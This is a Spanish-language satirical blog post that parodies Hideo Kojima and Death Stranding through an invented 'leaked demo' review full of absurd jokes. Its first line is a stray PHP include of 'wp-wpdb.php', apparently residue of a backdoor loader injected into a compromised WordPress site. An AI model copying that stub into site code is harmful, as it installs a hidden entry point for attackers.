if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Death Stranding – La Fortaleza de LeChuck

Análisis Death Stranding

Como ya sabréis Kojima vuelve a ser noticia (¿cuando no lo ha sido este hombre?), en este caso por la ya famosa filtración de lo que sería la futura demo de su juego en las redes. La polémica está servida, y rápidamente ha salido Sony a la palestra indicando que todo es culpa de un ataque sincronizado por parte de unos hackers tabarnianos. No vamos a volver a mencionar aquí esta noticia, que ya comentamos ampliamente en el podcast, y sabemos que el lector/oyente de La Fortaleza de LeChuck es un ser pulcro e informado. Lo importante es otra cuestión: Como ya no se podía poner puertas al campo, se ha extendido como la pólvora dicha demo entre las más conocidas webs de referencia de videojuegos y ciencia ficción mundiales (Merostation, El Mundo Today, OK Diario, la propia Fortaleza de LeChuck…), y hemos podido meter las pezuñas en la primera versión de Death Stranding, videojuego que será el primer éxito en solitario, no nos queda ya ninguna duda, del maestro Kojima.

El desarrollo de Death Stranding se nos avisaba en los últimos tiempos que estaba avanzando a buen ritmo, incluso más rápido de lo que esperaban. El propio Kojima en los últimos Golden Joystick Awards aseguraba que lo que era el esqueleto del juego estaba ya hecho, y que prácticamente solo quedaba “rellenar con cinemáticas”. Lo que parecía una bravuconada de sobremesa, tras la digestión de varios platos de spaghettis y fabada asturiana debidamente subidos a Instagram, se ha revelado como cierto una vez que hemos podido catar lo que nos prepara el genio nipón para el próximo año.

(Spoilers, obviamente, por si alguien quiere mantener el suspense). Para empezar, la demo (titulada “P.T. 2, La Venganza”) son los tráilers que hemos visto ahora, solo que en primera persona y en formato de documental narrado por el propio Kojima. En el gameplay que hemos probado hemos interpretado al personaje de Norman Reedus desde su propio punto de vista, y aunque no quiero avanzarme, está claro que el juego incluirá soporte para VR, ya que al finalizar la demo se desbloquea un “modo foto” en el cual podemos hacer que Mads Mikkelsen y Guillermo del Toro posen para nosotros sugerentemente mientras hacemos de fotógrafos. Incluso podemos acariciarlos y rascarles la tripita mientras ronronean. Como no podía ser de otra forma el juego es una ‘Kojimada’ detrás de otra.

Esto es lo que veremos en un plano secuencia de 50 minutos al arrancar la demo en primera persona

El propio Kojima comentará anecdotas sobre el desarrollo, porque incluye unos comentarios del Director que no se pueden quitar mientras jugamos). Según el propio Kojima cuenta, mientras estamos pariendo un bebé por la garganta, «Después de 4 trailers nos dimos cuenta que el juego estaba ya hecho con el material que ya teníamos, simplemente usando el Vegas juntando unos con otros ya teníamos la trama lista». En cuanto a jugabilidad hay que decir que será algo nunca visto, revolucionario y que brilla con luz propia. Por su ausencia. Como hemos dicho seremos Norman Reedus, desde el punto de vista de Norman Reedus. Y ya. Sí, moveremos la cámara. Pero no al personaje, que se mueve por su cuenta. Y la cámara de hecho sólo la manejaremos cuando no haya cinemáticas, que entonces es automática. Es decir, tras acabar la demo de 40 horas, hemos tenido entera libertad para manejarla a nuestro antojo exactamente 3 minutos y 40 segundos, cronometrados. Lo cual es una evolución brutal y una amplia mejora con respecto a Metal Gear Solid 4.

Según el propio Kojima, mientras hacemos como que manejamos el mando para que Reedus se mueva por el escenario: «Partimos de la base de que el jugador es una molestia necesaria. De hecho, sin él, el juego funciona mucho mejor». Os recomiendo que en cuanto podáis, por cauces legales, (no seáis como nosotros, que en el fondo somos una tripulación pirata), probéis esta demo en cuanto esté disponible. Esas 40 horas de pasillo interminable, con bucles infinitos de las mismas secciones, jugabilidad nula, y fotos tamaño póster de Playboy de Mads Mikkelsen por todas partes por ningún motivo aparente, son el futuro de los videojuegos. Estamos ante un título que marcará un antes y un después, y evolucionará el medio, como en su día lo hicieron Alone in the Dark, Ocarina of Time, Half-Life 2, o Shower With Your Dad Simulator 2015. Y los comentarios de Kojima son perlas de sabiduría que merece la pena ir desgranando a medida que observamos la partida, con lecciones de vida como «En esta parte me parecía necesario que apareciera un panda en monociclo volando», «Observa ese cielo del escenario, le he puesto el filtro ‘Juno’ para que quede más resultón», o «Mira y calla, que con un poco de suerte se te pega algo de mí».

Zas! Te acabo de embarazar con la mirada

Tras comprobar de primera mano cómo será Death Stranding, cuya etiqueta de “experiencia audiovisual” se queda corta, esperamos que el juego tenga el éxito que sin duda se merece. Como también esperamos con ansia el próximo proyecto de Hideo Kojima: dirigir su propio biopic. Ya sabemos que el guión durará 6 horas de película, y que están en negociaciones con Gary Oldman -que necesita llegar a final de mes- en el papel del creador japonés. La película se titulará: “La responsabilidad de ser genial. A Hideo Kojima’s Life”. Entre esto y los serios rumores que apuntan a que Disney está tentando a Kojima para dirigir la próxima Piratas del Caribe parece que tenemos Hideo para rato.    

Hemos corrido para traerte estas primeras impresiones de Death Stranding, que seguro a partir de mañana estarán en boca de todos. ¿Has tenido suerte y te has hecho con una copia? Cuéntanos qué te ha parecido la demo, mientras haces tiempo para que venga la policía a detenerte por descargar ilegalmente de las redes, piratilla.   

Por Heko

Se peleó de pequeño por hacer funcionar un ZX Spectrum, lo cuál no presagiaba nada bueno a largo plazo, aunque curiosamente él lo recuerda con cariño. Ya de mayor, sufrió un terrible accidente al retirar un USB de su puerto sin esperar a qué fuera seguro quitarlo. La catástrofe asoló medio continente, aunque la radiación le concedió el superpoder mutante de escribir sobre todo lo que a él le apasiona. Entre otras cosas, por supuesto, sobre “eso de los marcianitos”.

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